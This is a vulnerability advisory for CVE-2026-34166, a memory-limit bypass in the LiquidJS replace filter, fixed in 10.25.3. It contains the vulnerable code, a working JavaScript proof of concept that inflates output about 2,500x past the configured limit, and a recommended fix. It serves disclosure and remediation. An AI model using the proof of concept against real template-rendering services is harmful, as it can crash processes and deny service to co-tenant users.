CVE-2026-34166: LiquidJS has a Memory Limit Bypass via Quadratic Amplification in `replace` Filter

Published Apr 8, 2026
·
Updated

Summary

The replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.

Details

The vulnerable code is in src/filters/string.ts:137-142:

typescript export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) { const str = stringify(v) pattern = stringify(pattern) replacement = stringify(replacement) this.context.memoryLimit.use(str.length + pattern.length + replacement.length) // BUG: accounts for inputs, not output return str.split(pattern).join(replacement) // actual output can be quadratically larger }

The memoryLimit.use() call charges only the sum of the three input lengths. However, the str.split(pattern).join(replacement) operation produces output of size:

(numberofoccurrences replacement.length) + nonmatchingcharacters

When every character in str matches pattern (e.g., str = 5,000 as, pattern = a), there are 5,000 occurrences. With a 5,000-character replacement string, the output is 5000 5000 = 25,000,000 characters, while only 5000 + 1 + 5000 = 10,001 bytes are charged to the limiter.

The Limiter class at src/util/limiter.ts:3-22 is a simple accumulator — it only checks at the time use() is called and has no post-hoc validation of actual memory allocated.

The memoryLimit option defaults to Infinity (src/liquid-options.ts:198), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.

PoC

javascript const { Liquid } = require('liquidjs');

// User explicitly enables memoryLimit for DoS protection (10MB) const engine = new Liquid({ memoryLimit: 1e7 });

const inputLen = 5000; const aStr = 'a'.repeat(inputLen); const bStr = 'b'.repeat(inputLen);

// Template that should be blocked by 10MB memory limit const tpl = engine.parse( {%- assign s = "${aStr}" -%} + {%- assign r = "${bStr}" -%} + {{ s | replace: "a", r }} );

// This should throw "memory alloc limit exceeded" but succeeds const result = engine.renderSync(tpl);

console.log('Memory limit: 10,000,000 bytes'); console.log('Memory charged:', 10001, 'bytes'); console.log('Actual output:', result.length, 'bytes'); // 25,000,000 bytes console.log('Amplification:', Math.round(result.length / 10001) + 'x'); // Output: Amplification: 2500x — completely bypasses the 10MB limit

Impact

Users who deploy LiquidJS with memoryLimit enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the replace filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:

- Node.js process out-of-memory crashes - Denial of service for co-tenant users on the same process - Resource exhaustion on the hosting infrastructure

The impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (memoryLimit enabled) and template authoring access.

Recommended Fix

Account for the actual output size in the memory limiter by calculating the number of occurrences:

typescript export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) { const str = stringify(v) pattern = stringify(pattern) replacement = stringify(replacement) const parts = str.split(pattern) const outputSize = str.length + (parts.length - 1) (replacement.length - pattern.length) this.context.memoryLimit.use(outputSize) return parts.join(replacement) }

This computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The split() result is reused to avoid computing it twice.

Other sources

LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.

MITRE

Affected Software

2 affected componentsFixes available
npm/liquidjs<=10.25.2
10.25.3
LiquidJS Liquidjs Node.js<10.25.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/liquidjs to a version that resolves this vulnerability.

    Fixed in 10.25.3
  2. Upgrade

    Upgrade LiquidJS to a version that resolves this vulnerability.

    Fixed in 10.25.3
  3. Configuration

    Ensure LiquidJS deployments that process untrusted templates use the fixed version (10.25.3) because the `replace` filter memory limiter accounting was incorrect when `memoryLimit` is explicitly enabled.

    LiquidJS (template rendering with memoryLimit enabled) memoryLimit = (example: 10,000,000 bytes)

Event History

Apr 8, 2026
Advisory Published
via GitHub·03:00 PM
Data Sourced
via GitHub·03:00 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·05:52 PM
Data Sourced
via MITRE·05:52 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:25 PM
RemedyDescriptionSeverityWeaknessAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203